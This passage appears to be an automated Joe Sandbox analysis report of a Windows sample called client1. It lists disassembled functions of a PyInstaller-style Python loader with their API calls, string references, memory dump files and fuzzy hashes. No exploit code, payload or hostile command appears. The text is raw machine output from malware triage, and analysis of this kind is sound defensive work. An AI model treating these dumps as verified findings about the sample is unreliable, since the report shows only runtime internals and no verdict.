PyErr_NormalizeException, xrefs: 00007FF79F6241FD
Failed to get address for Py_IncRef, xrefs: 00007FF79F624039
Failed to get address for PyRun_SimpleStringFlags, xrefs: 00007FF79F624421
Py_SetPythonHome, xrefs: 00007FF79F6240E5
Failed to get address for PySys_SetObject, xrefs: 00007FF79F6244C1
PyLong_AsLong, xrefs: 00007FF79F6242ED
PyUnicode_Join, xrefs: 00007FF79F62465D
Failed to get address for PyMarshal_ReadObjectFromString, xrefs: 00007FF79F624539
PyImport_AddModule, xrefs: 00007FF79F624225
PyUnicode_AsUTF8, xrefs: 00007FF79F624635
Py_DecRef, xrefs: 00007FF79F623FCD
PyErr_Clear, xrefs: 00007FF79F624135
Failed to get address for PySys_AddWarnOption, xrefs: 00007FF79F624449
Py_Initialize, xrefs: 00007FF79F624045
PyObject_Str, xrefs: 00007FF79F6243DD
PyErr_Fetch, xrefs: 00007FF79F6241AD
Py_VerboseFlag, xrefs: 00007FF79F623F25
Failed to get address for PyObject_SetAttrString, xrefs: 00007FF79F6243A9
PyRun_SimpleStringFlags, xrefs: 00007FF79F624405
PyErr_Occurred, xrefs: 00007FF79F62415D
Failed to get address for Py_VerboseFlag, xrefs: 00007FF79F623F41

Memory Dump Source

Source File: 00000002.00000002.2693036603.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000002.00000002.2693018203.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693061814.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F660000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693132419.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff79f620000_client1.jbxd

Similarity

API ID: AddressProc
String ID: Failed to get address for PyDict_GetItemString$Failed to get address for PyErr_Clear$Failed to get address for PyErr_Fetch$Failed to get address for PyErr_NormalizeException$Failed to get address for PyErr_Occurred$Failed to get address for PyErr_Print$Failed to get address for PyErr_Restore$Failed to get address for PyEval_EvalCode$Failed to get address for PyImport_AddModule$Failed to get address for PyImport_ExecCodeModule$Failed to get address for PyImport_ImportModule$Failed to get address for PyList_Append$Failed to get address for PyList_New$Failed to get address for PyLong_AsLong$Failed to get address for PyMarshal_ReadObjectFromString$Failed to get address for PyMem_RawFree$Failed to get address for PyModule_GetDict$Failed to get address for PyObject_CallFunction$Failed to get address for PyObject_CallFunctionObjArgs$Failed to get address for PyObject_GetAttrString$Failed to get address for PyObject_SetAttrString$Failed to get address for PyObject_Str$Failed to get address for PyRun_SimpleStringFlags$Failed to get address for PySys_AddWarnOption$Failed to get address for PySys_GetObject$Failed to get address for PySys_SetArgvEx$Failed to get address for PySys_SetObject$Failed to get address for PySys_SetPath$Failed to get address for PyUnicode_AsUTF8$Failed to get address for PyUnicode_Decode$Failed to get address for PyUnicode_DecodeFSDefault$Failed to get address for PyUnicode_FromFormat$Failed to get address for PyUnicode_FromString$Failed to get address for PyUnicode_Join$Failed to get address for PyUnicode_Replace$Failed to get address for Py_BuildValue$Failed to get address for Py_DecRef$Failed to get address for Py_DecodeLocale$Failed to get address for Py_DontWriteBytecodeFlag$Failed to get address for Py_FileSystemDefaultEncoding$Failed to get address for Py_Finalize$Failed to get address for Py_FrozenFlag$Failed to get address for Py_GetPath$Failed to get address for Py_IgnoreEnvironmentFlag$Failed to get address for Py_IncRef$Failed to get address for Py_Initialize$Failed to get address for Py_NoSiteFlag$Failed to get address for Py_NoUserSiteDirectory$Failed to get address for Py_OptimizeFlag$Failed to get address for Py_SetPath$Failed to get address for Py_SetProgramName$Failed to get address for Py_SetPythonHome$Failed to get address for Py_UTF8Mode$Failed to get address for Py_UnbufferedStdioFlag$Failed to get address for Py_VerboseFlag$GetProcAddress$PyDict_GetItemString$PyErr_Clear$PyErr_Fetch$PyErr_NormalizeException$PyErr_Occurred$PyErr_Print$PyErr_Restore$PyEval_EvalCode$PyImport_AddModule$PyImport_ExecCodeModule$PyImport_ImportModule$PyList_Append$PyList_New$PyLong_AsLong$PyMarshal_ReadObjectFromString$PyMem_RawFree$PyModule_GetDict$PyObject_CallFunction$PyObject_CallFunctionObjArgs$PyObject_GetAttrString$PyObject_SetAttrString$PyObject_Str$PyRun_SimpleStringFlags$PySys_AddWarnOption$PySys_GetObject$PySys_SetArgvEx$PySys_SetObject$PySys_SetPath$PyUnicode_AsUTF8$PyUnicode_Decode$PyUnicode_DecodeFSDefault$PyUnicode_FromFormat$PyUnicode_FromString$PyUnicode_Join$PyUnicode_Replace$Py_BuildValue$Py_DecRef$Py_DecodeLocale$Py_DontWriteBytecodeFlag$Py_FileSystemDefaultEncoding$Py_Finalize$Py_FrozenFlag$Py_GetPath$Py_IgnoreEnvironmentFlag$Py_IncRef$Py_Initialize$Py_NoSiteFlag$Py_NoUserSiteDirectory$Py_OptimizeFlag$Py_SetPath$Py_SetProgramName$Py_SetPythonHome$Py_UTF8Mode$Py_UnbufferedStdioFlag$Py_VerboseFlag
API String ID: 190572456-3109299426
Opcode ID: 67747be8a076f706c1c9372e7d2496993eaa02b7082083ef588a9e8b618be952
Instruction ID: 1569068ba6056d29c4952f7f3de6d42d44f31310c0c16f252f5e785b39ce0af7
Opcode Fuzzy Hash: 67747be8a076f706c1c9372e7d2496993eaa02b7082083ef588a9e8b618be952
Instruction Fuzzy Hash: 1E42D864A0DB8391FA75FB34EC801F4A2AFAF44794BD45135C86D462A4EF7CB558C322

Function 00007FF79F6255D0 Relevance: 166.5, APIs: 31, Strings: 64, Instructions: 287libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF79F6271B0: LoadLibraryExW.KERNEL32(?,?,00000000,00007FF79F6230BE), ref: 00007FF79F6271D3

GetProcAddress.KERNEL32 ref: 00007FF79F625F67
GetProcAddress.KERNEL32 ref: 00007FF79F625FA6
GetProcAddress.KERNEL32 ref: 00007FF79F625FCB
GetProcAddress.KERNEL32 ref: 00007FF79F625FF0
GetProcAddress.KERNEL32 ref: 00007FF79F626018
GetProcAddress.KERNEL32 ref: 00007FF79F626040
GetProcAddress.KERNEL32 ref: 00007FF79F626068
GetProcAddress.KERNEL32 ref: 00007FF79F626090
GetProcAddress.KERNEL32 ref: 00007FF79F6260B8

Strings

Failed to get address for Tk_GetNumMainWindows, xrefs: 00007FF79F62643A
Tcl_ConditionNotify, xrefs: 00007FF79F62614E
Tcl_MutexLock, xrefs: 00007FF79F6260D6
Failed to get address for Tk_Init, xrefs: 00007FF79F626412
Failed to get address for Tcl_Alloc, xrefs: 00007FF79F6263C2
Failed to get address for Tcl_DoOneEvent, xrefs: 00007FF79F626002
Tcl_EvalEx, xrefs: 00007FF79F626356
Tcl_ConditionWait, xrefs: 00007FF79F626176
Tcl_FinalizeThread, xrefs: 00007FF79F626036
Tcl_NewByteArrayObj, xrefs: 00007FF79F6262B6
Tcl_MutexUnlock, xrefs: 00007FF79F6260FE
Failed to get address for Tcl_ConditionWait, xrefs: 00007FF79F626192
Failed to get address for Tcl_SetVar2, xrefs: 00007FF79F626232
Tcl_GetString, xrefs: 00007FF79F626266
Failed to get address for Tcl_MutexLock, xrefs: 00007FF79F6260F2
Tcl_CreateThread, xrefs: 00007FF79F626086
Tcl_CreateInterp, xrefs: 00007FF79F625F9C
LOADER: Failed to load tcl/tk libraries, xrefs: 00007FF79F62561A
Tcl_DoOneEvent, xrefs: 00007FF79F625FE6
Failed to get address for Tcl_NewStringObj, xrefs: 00007FF79F6262AA
Failed to get address for Tcl_ThreadAlert, xrefs: 00007FF79F6261E2
Failed to get address for Tcl_CreateThread, xrefs: 00007FF79F6260A2
Failed to get address for Tcl_ConditionNotify, xrefs: 00007FF79F62616A
Failed to get address for Tcl_EvalEx, xrefs: 00007FF79F626372
Failed to get address for Tcl_SetVar2Ex, xrefs: 00007FF79F6262FA
Tcl_Free, xrefs: 00007FF79F6263CE
Failed to get address for Tcl_FinalizeThread, xrefs: 00007FF79F626052
Tcl_EvalFile, xrefs: 00007FF79F62632E
Tk_Init, xrefs: 00007FF79F6263F6
Tcl_Finalize, xrefs: 00007FF79F62600E
Tcl_Alloc, xrefs: 00007FF79F6263A6
Failed to get address for Tcl_CreateInterp, xrefs: 00007FF79F625FB8
Failed to get address for Tcl_EvalObjv, xrefs: 00007FF79F62639A
Tcl_ConditionFinalize, xrefs: 00007FF79F626126
Tcl_Init, xrefs: 00007FF79F625F60
Tcl_GetCurrentThread, xrefs: 00007FF79F6260AE
Tcl_SetVar2Ex, xrefs: 00007FF79F6262DE
Failed to get address for Tcl_DeleteInterp, xrefs: 00007FF79F62607A
Failed to get address for Tcl_GetObjResult, xrefs: 00007FF79F626322
Tcl_ThreadQueueEvent, xrefs: 00007FF79F62619E
Failed to get address for Tcl_CreateObjCommand, xrefs: 00007FF79F62625A
Tcl_EvalObjv, xrefs: 00007FF79F62637E
Failed to get address for Tcl_FindExecutable, xrefs: 00007FF79F625FDD
Failed to get address for Tcl_ConditionFinalize, xrefs: 00007FF79F626142
Failed to get address for Tcl_GetCurrentThread, xrefs: 00007FF79F6260CA
Failed to get address for Tcl_NewByteArrayObj, xrefs: 00007FF79F6262D2
Tcl_GetObjResult, xrefs: 00007FF79F626306
Tcl_CreateObjCommand, xrefs: 00007FF79F62623E
Tk_GetNumMainWindows, xrefs: 00007FF79F62641E
Failed to get address for Tcl_GetString, xrefs: 00007FF79F626282
Tcl_GetVar2, xrefs: 00007FF79F6261EE
Failed to get address for Tcl_Init, xrefs: 00007FF79F625F79
GetProcAddress, xrefs: 00007FF79F625F80
Tcl_DeleteInterp, xrefs: 00007FF79F62605E
Failed to get address for Tcl_Finalize, xrefs: 00007FF79F62602A
Tcl_ThreadAlert, xrefs: 00007FF79F6261C6
Failed to get address for Tcl_Free, xrefs: 00007FF79F6263EA
Tcl_SetVar2, xrefs: 00007FF79F626216
Failed to get address for Tcl_ThreadQueueEvent, xrefs: 00007FF79F6261BA
Failed to get address for Tcl_EvalFile, xrefs: 00007FF79F62634A
Failed to get address for Tcl_MutexUnlock, xrefs: 00007FF79F62611A
Tcl_NewStringObj, xrefs: 00007FF79F62628E
Tcl_FindExecutable, xrefs: 00007FF79F625FC1
Failed to get address for Tcl_GetVar2, xrefs: 00007FF79F62620A

Memory Dump Source

Source File: 00000002.00000002.2693036603.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000002.00000002.2693018203.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693061814.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F660000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693132419.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff79f620000_client1.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: Failed to get address for Tcl_Alloc$Failed to get address for Tcl_ConditionFinalize$Failed to get address for Tcl_ConditionNotify$Failed to get address for Tcl_ConditionWait$Failed to get address for Tcl_CreateInterp$Failed to get address for Tcl_CreateObjCommand$Failed to get address for Tcl_CreateThread$Failed to get address for Tcl_DeleteInterp$Failed to get address for Tcl_DoOneEvent$Failed to get address for Tcl_EvalEx$Failed to get address for Tcl_EvalFile$Failed to get address for Tcl_EvalObjv$Failed to get address for Tcl_Finalize$Failed to get address for Tcl_FinalizeThread$Failed to get address for Tcl_FindExecutable$Failed to get address for Tcl_Free$Failed to get address for Tcl_GetCurrentThread$Failed to get address for Tcl_GetObjResult$Failed to get address for Tcl_GetString$Failed to get address for Tcl_GetVar2$Failed to get address for Tcl_Init$Failed to get address for Tcl_MutexLock$Failed to get address for Tcl_MutexUnlock$Failed to get address for Tcl_NewByteArrayObj$Failed to get address for Tcl_NewStringObj$Failed to get address for Tcl_SetVar2$Failed to get address for Tcl_SetVar2Ex$Failed to get address for Tcl_ThreadAlert$Failed to get address for Tcl_ThreadQueueEvent$Failed to get address for Tk_GetNumMainWindows$Failed to get address for Tk_Init$GetProcAddress$LOADER: Failed to load tcl/tk libraries$Tcl_Alloc$Tcl_ConditionFinalize$Tcl_ConditionNotify$Tcl_ConditionWait$Tcl_CreateInterp$Tcl_CreateObjCommand$Tcl_CreateThread$Tcl_DeleteInterp$Tcl_DoOneEvent$Tcl_EvalEx$Tcl_EvalFile$Tcl_EvalObjv$Tcl_Finalize$Tcl_FinalizeThread$Tcl_FindExecutable$Tcl_Free$Tcl_GetCurrentThread$Tcl_GetObjResult$Tcl_GetString$Tcl_GetVar2$Tcl_Init$Tcl_MutexLock$Tcl_MutexUnlock$Tcl_NewByteArrayObj$Tcl_NewStringObj$Tcl_SetVar2$Tcl_SetVar2Ex$Tcl_ThreadAlert$Tcl_ThreadQueueEvent$Tk_GetNumMainWindows$Tk_Init
API String ID: 2238633743-1453502826
Opcode ID: ba523ba2b13c4ea14ee618d69630f35f7ff64aa3d65f3ca8e14aa07d75cb9247
Instruction ID: b30a9a20e4738194fb40c84eba7b36943a02debceca7de32295cc50003b78bbb
Opcode Fuzzy Hash: ba523ba2b13c4ea14ee618d69630f35f7ff64aa3d65f3ca8e14aa07d75cb9247
Instruction Fuzzy Hash: AAE1D760A09B8390FA75FB35A9941F4E3BFAF047A4BD45135C82E46764EF7CA5488332

Function 00007FFBAB4A2050 Relevance: 77.5, APIs: 43, Strings: 1, Instructions: 468COMMON

Download Yara Rule

APIs

PyDict_SetItem.PYTHON311 ref: 00007FFBAB4A2071

Part of subcall function 00007FFBAB493850: _PyType_CalculateMetaclass.PYTHON311 ref: 00007FFBAB4938BE
Part of subcall function 00007FFBAB493850: PyObject_GetAttrString.PYTHON311 ref: 00007FFBAB4938E7
Part of subcall function 00007FFBAB493850: PyErr_Clear.PYTHON311 ref: 00007FFBAB4938F5
Part of subcall function 00007FFBAB493850: PyErr_SetString.PYTHON311 ref: 00007FFBAB4939F9
Part of subcall function 00007FFBAB493850: _Py_Dealloc.PYTHON311 ref: 00007FFBAB493C46
Part of subcall function 00007FFBAB493850: _Py_Dealloc.PYTHON311 ref: 00007FFBAB493C5B
Part of subcall function 00007FFBAB493850: _Py_Dealloc.PYTHON311 ref: 00007FFBAB493C6F

PyObject_SetItem.PYTHON311 ref: 00007FFBAB4A2079
_Py_Dealloc.PYTHON311 ref: 00007FFBAB4A208A
PyTuple_Pack.PYTHON311 ref: 00007FFBAB4A20A4
_Py_Dealloc.PYTHON311 ref: 00007FFBAB4A20DF
PyTuple_Pack.PYTHON311 ref: 00007FFBAB4A21B5
PyObject_SetAttr.PYTHON311 ref: 00007FFBAB4A21CC
_Py_Dealloc.PYTHON311 ref: 00007FFBAB4A21DD
PyDict_SetItem.PYTHON311 ref: 00007FFBAB4A2242

Part of subcall function 00007FFBAB493850: PyUnicode_CompareWithASCIIString.PYTHON311 ref: 00007FFBAB49390C
Part of subcall function 00007FFBAB493850: strcmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFBAB493924
Part of subcall function 00007FFBAB493850: strcmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFBAB493937
Part of subcall function 00007FFBAB493850: strcmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFBAB49394A
Part of subcall function 00007FFBAB493850: _Py_Dealloc.PYTHON311 ref: 00007FFBAB4939DE
Part of subcall function 00007FFBAB493850: PyUnicode_FromString.PYTHON311 ref: 00007FFBAB493A1C
Part of subcall function 00007FFBAB493850: PyDict_New.PYTHON311 ref: 00007FFBAB493A3E
Part of subcall function 00007FFBAB493850: PyDict_SetItemString.PYTHON311 ref: 00007FFBAB493A62
Part of subcall function 00007FFBAB493850: PyObject_CallFunctionObjArgs.PYTHON311 ref: 00007FFBAB493A81
Part of subcall function 00007FFBAB493850: _Py_Dealloc.PYTHON311 ref: 00007FFBAB493A93
Part of subcall function 00007FFBAB493850: _Py_Dealloc.PYTHON311 ref: 00007FFBAB493AAB
Part of subcall function 00007FFBAB493850: PyType_GenericAlloc.PYTHON311 ref: 00007FFBAB493AC4

PyObject_SetItem.PYTHON311 ref: 00007FFBAB4A224A
_Py_Dealloc.PYTHON311 ref: 00007FFBAB4A225B
PyTuple_Pack.PYTHON311 ref: 00007FFBAB4A2275
_Py_Dealloc.PYTHON311 ref: 00007FFBAB4A22B0
PyTuple_Pack.PYTHON311 ref: 00007FFBAB4A2337
PyObject_SetAttr.PYTHON311 ref: 00007FFBAB4A234E
_Py_Dealloc.PYTHON311 ref: 00007FFBAB4A235F
PyDict_SetItem.PYTHON311 ref: 00007FFBAB4A23C4

Part of subcall function 00007FFBAB493850: PyUnicode_CompareWithASCIIString.PYTHON311 ref: 00007FFBAB493961
Part of subcall function 00007FFBAB493850: PyObject_SetAttrString.PYTHON311 ref: 00007FFBAB493B45
Part of subcall function 00007FFBAB493850: PyType_Ready.PYTHON311 ref: 00007FFBAB493B86
Part of subcall function 00007FFBAB493850: PyDict_Merge.PYTHON311 ref: 00007FFBAB493BB1
Part of subcall function 00007FFBAB493850: PyDict_SetItemString.PYTHON311 ref: 00007FFBAB493BCC
Part of subcall function 00007FFBAB493850: PyObject_GetAttrString.PYTHON311 ref: 00007FFBAB493BE0
Part of subcall function 00007FFBAB493850: PyObject_IsTrue.PYTHON311 ref: 00007FFBAB493BF5
Part of subcall function 00007FFBAB493850: _Py_Dealloc.PYTHON311 ref: 00007FFBAB493C07
Part of subcall function 00007FFBAB493850: PyErr_SetString.PYTHON311 ref: 00007FFBAB493C23
Part of subcall function 00007FFBAB493850: _Py_Dealloc.PYTHON311 ref: 00007FFBAB493C32
Part of subcall function 00007FFBAB493850: PyObject_SetAttrString.PYTHON311 ref: 00007FFBAB493CA6
Part of subcall function 00007FFBAB493850: _PyObject_FastCall.PYTHON311 ref: 00007FFBAB493CD0
Part of subcall function 00007FFBAB493850: _PyObject_GetAttrId.PYTHON311 ref: 00007FFBAB493CEC
Part of subcall function 00007FFBAB493850: _Py_Dealloc.PYTHON311 ref: 00007FFBAB493CFE

PyObject_SetItem.PYTHON311 ref: 00007FFBAB4A23CC
_Py_Dealloc.PYTHON311 ref: 00007FFBAB4A23DD
PyTuple_Pack.PYTHON311 ref: 00007FFBAB4A23F7
_Py_Dealloc.PYTHON311 ref: 00007FFBAB4A2432
PyTuple_Pack.PYTHON311 ref: 00007FFBAB4A24F0
PyObject_SetAttr.PYTHON311 ref: 00007FFBAB4A2507
_Py_Dealloc.PYTHON311 ref: 00007FFBAB4A2518
PyDict_SetItem.PYTHON311 ref: 00007FFBAB4A257D

Part of subcall function 00007FFBAB4933D0: PyDict_GetItemWithError.PYTHON311 ref: 00007FFBAB4933EB
Part of subcall function 00007FFBAB4933D0: PyErr_Occurred.PYTHON311 ref: 00007FFBAB4933F9
Part of subcall function 00007FFBAB4933D0: PyErr_SetObject.PYTHON311 ref: 00007FFBAB493411

PyObject_SetItem.PYTHON311 ref: 00007FFBAB4A2585
_Py_Dealloc.PYTHON311 ref: 00007FFBAB4A2596
PyObject_Vectorcall.PYTHON311 ref: 00007FFBAB4A2609
_Py_Dealloc.PYTHON311 ref: 00007FFBAB4A261B
PyObject_Vectorcall.PYTHON311 ref: 00007FFBAB4A2640
_Py_Dealloc.PYTHON311 ref: 00007FFBAB4A2652
_Py_Dealloc.PYTHON311 ref: 00007FFBAB4A2699
PyDict_SetItem.PYTHON311 ref: 00007FFBAB4A26BD
PyObject_SetItem.PYTHON311 ref: 00007FFBAB4A26C5
_Py_Dealloc.PYTHON311 ref: 00007FFBAB4A26D6
PyObject_Vectorcall.PYTHON311 ref: 00007FFBAB4A2742
_Py_Dealloc.PYTHON311 ref: 00007FFBAB4A2754
PyObject_Vectorcall.PYTHON311 ref: 00007FFBAB4A2779
_Py_Dealloc.PYTHON311 ref: 00007FFBAB4A278B
_Py_Dealloc.PYTHON311 ref: 00007FFBAB4A27D2
PyDict_SetItem.PYTHON311 ref: 00007FFBAB4A27F6
PyObject_SetItem.PYTHON311 ref: 00007FFBAB4A27FE
_Py_Dealloc.PYTHON311 ref: 00007FFBAB4A280F

Strings

<module>, xrefs: 00007FFBAB4A21EE, 00007FFBAB4A2370, 00007FFBAB4A2529, 00007FFBAB4A2664, 00007FFBAB4A279D, 00007FFBAB4A2826

Memory Dump Source

Source File: 00000002.00000002.2695432092.00007FFBAB491000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFBAB490000, based on PE: true

Associated: 00000002.00000002.2695413787.00007FFBAB490000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695456347.00007FFBAB4A4000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695478650.00007FFBAB4AA000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695501720.00007FFBAB4AE000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbab490000_client1.jbxd

Similarity

API ID: Dealloc$Object_$Item$Dict_String$Attr$PackTuple_$Err_$Vectorcall$Type_Unicode_Withstrcmp$CallCompare$AllocArgsCalculateClearErrorFastFromFunctionGenericMergeMetaclassObjectOccurredReadyTrue
String ID: <module>
API String ID: 903524036-217463007
Opcode ID: 8ad75d919c70f29923dc5d0feda9fa1aff1ccae90574155bf330c4cecec01ce6
Instruction ID: 8134840f4c49689f651df6ab4156ed76dc4a9649129e18653ce7feb7d059489c
Opcode Fuzzy Hash: 8ad75d919c70f29923dc5d0feda9fa1aff1ccae90574155bf330c4cecec01ce6
Instruction Fuzzy Hash: 5832F2F6A0BE1281EA169B76E8902B863A4BF59B94F04C13DCD6D077B4DF3CA4659301

Function 00007FFBAB4913B0 Relevance: 60.0, APIs: 20, Strings: 14, Instructions: 487stringCOMMON

Download Yara Rule

APIs

PyErr_Format.PYTHON311 ref: 00007FFBAB491544
strchr.VCRUNTIME140 ref: 00007FFBAB49159E
_PyDict_GetItemStringWithError.PYTHON311 ref: 00007FFBAB4916C5
PyErr_Occurred.PYTHON311 ref: 00007FFBAB491708
PyErr_Format.PYTHON311 ref: 00007FFBAB491822
PyErr_Format.PYTHON311 ref: 00007FFBAB491861
PyTuple_GetSlice.PYTHON311 ref: 00007FFBAB4918B8
PyErr_Format.PYTHON311 ref: 00007FFBAB49193F
PyDict_New.PYTHON311 ref: 00007FFBAB4919B4
_PyDict_GetItemStringWithError.PYTHON311 ref: 00007FFBAB4919E8
PyErr_Occurred.PYTHON311 ref: 00007FFBAB4919F7
PyDict_Next.PYTHON311 ref: 00007FFBAB491A40
_PyUnicode_EqualToASCIIString.PYTHON311 ref: 00007FFBAB491A78
PyDict_SetItem.PYTHON311 ref: 00007FFBAB491AAE
PyDict_Next.PYTHON311 ref: 00007FFBAB491AD7
PyErr_Format.PYTHON311 ref: 00007FFBAB491B32
PyErr_Format.PYTHON311 ref: 00007FFBAB491B7B
_Py_Dealloc.PYTHON311 ref: 00007FFBAB491BBC
_Py_Dealloc.PYTHON311 ref: 00007FFBAB491BE1

Strings

%.200s%s takes %s %d positional argument%s (%zd given), xrefs: 00007FFBAB49164E, 00007FFBAB4919A4
'%U' is an invalid keyword argument for %.200s%s, xrefs: 00007FFBAB491B71
keywords must be strings, xrefs: 00007FFBAB491B8A
exactly, xrefs: 00007FFBAB49162F, 00007FFBAB491979
%.200s%s missing required argument '%s' (pos %d), xrefs: 00007FFBAB491839
%.200s%s takes no positional arguments, xrefs: 00007FFBAB491920
function, xrefs: 00007FFBAB491533, 00007FFBAB491811, 00007FFBAB491850, 00007FFBAB49192E, 00007FFBAB491B1C
argument for %.200s%s given by name ('%s') and position (%d), xrefs: 00007FFBAB491B0A
%.200s%s missing required keyword-only argument '%s', xrefs: 00007FFBAB4917FC
at least, xrefs: 00007FFBAB491967
at most, xrefs: 00007FFBAB49161D
this function, xrefs: 00007FFBAB491B49
%.200s%s takes at most %d %sargument%s (%zd given), xrefs: 00007FFBAB491525
keyword , xrefs: 00007FFBAB4914E9

Memory Dump Source

Source File: 00000002.00000002.2695432092.00007FFBAB491000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFBAB490000, based on PE: true

Associated: 00000002.00000002.2695413787.00007FFBAB490000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695456347.00007FFBAB4A4000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695478650.00007FFBAB4AA000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695501720.00007FFBAB4AE000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbab490000_client1.jbxd

Similarity

API ID: Err_$Dict_Format$ItemString$DeallocErrorNextOccurredWith$EqualSliceTuple_Unicode_strchr
String ID: %.200s%s missing required argument '%s' (pos %d)$%.200s%s missing required keyword-only argument '%s'$%.200s%s takes %s %d positional argument%s (%zd given)$%.200s%s takes at most %d %sargument%s (%zd given)$%.200s%s takes no positional arguments$'%U' is an invalid keyword argument for %.200s%s$argument for %.200s%s given by name ('%s') and position (%d)$at least$at most$exactly$function$keyword $keywords must be strings$this function
API String ID: 3559638176-2999033026
Opcode ID: 4d540e1895a9c3ffedcbc81b3114074a3911625cd29c2936832c9cb15c91a01f
Instruction ID: 4511fee8e162fcc2eefdfc5832046263043bcf5f75111a88debfbf9624c81947
Opcode Fuzzy Hash: 4d540e1895a9c3ffedcbc81b3114074a3911625cd29c2936832c9cb15c91a01f
Instruction Fuzzy Hash: 162260B1A0EA8695EB668F36E4802BD73A0FB84B84F548039DE9E43674DF3CE545D700

Function 00007FFBAA706EB8 Relevance: 49.2, APIs: 18, Strings: 10, Instructions: 226COMMON

Download Yara Rule

APIs

PyTuple_Size.PYTHON311 ref: 00007FFBAA706EEC
PyLong_AsLong.PYTHON311 ref: 00007FFBAA706F17
PyLong_AsSsize_t.PYTHON311 ref: 00007FFBAA706F68
PyTuple_Size.PYTHON311 ref: 00007FFBAA706FA8
PyMem_Malloc.PYTHON311 ref: 00007FFBAA706FB8
PyLong_AsLong.PYTHON311 ref: 00007FFBAA707022
PyUnicode_CompareWithASCIIString.PYTHON311 ref: 00007FFBAA7070D1
PyUnicode_CompareWithASCIIString.PYTHON311 ref: 00007FFBAA7070E9
PyUnicode_CompareWithASCIIString.PYTHON311 ref: 00007FFBAA707101
PyErr_SetString.PYTHON311 ref: 00007FFBAA707165
PyErr_Occurred.PYTHON311 ref: 00007FFBAA707194
PyErr_SetString.PYTHON311 ref: 00007FFBAA7071B5
PyMem_Free.PYTHON311 ref: 00007FFBAA7071CD
_Py_Dealloc.PYTHON311 ref: 00007FFBAA7071D8
PyErr_Occurred.PYTHON311 ref: 00007FFBAA715500
PyErr_NoMemory.PYTHON311 ref: 00007FFBAA715514

Part of subcall function 00007FFBAA707224: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FFBAA707264

PyErr_Occurred.PYTHON311 ref: 00007FFBAA715520
_Py_Dealloc.PYTHON311 ref: 00007FFBAA71554A

Strings

coefficient must be a tuple of digits, xrefs: 00007FFBAA706F86, 00007FFBAA7071AB
sign must be an integer with the value 0 or 1, xrefs: 00007FFBAA707154
NaN, xrefs: 00007FFBAA7071F3
string argument in the third position must be 'F', 'n' or 'N', xrefs: 00007FFBAA70720C
internal error in dec_sequence_as_str, xrefs: 00007FFBAA71553B
argument must be a sequence of length 3, xrefs: 00007FFBAA707200
%lli, xrefs: 00007FFBAA707072
sNaN, xrefs: 00007FFBAA70711F
Inf, xrefs: 00007FFBAA707182
exponent must be an integer, xrefs: 00007FFBAA707218

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: Err_$String$CompareLong_OccurredUnicode_With$DeallocLongMem_SizeTuple_$FreeMallocMemorySsize_t__stdio_common_vsprintf
String ID: %lli$Inf$NaN$argument must be a sequence of length 3$coefficient must be a tuple of digits$exponent must be an integer$internal error in dec_sequence_as_str$sNaN$sign must be an integer with the value 0 or 1$string argument in the third position must be 'F', 'n' or 'N'
API String ID: 3043890741-2922413049
Opcode ID: 27c374245cbc951bbb9664482781b91c9a06e90aa74aacb636386183bdd97e19
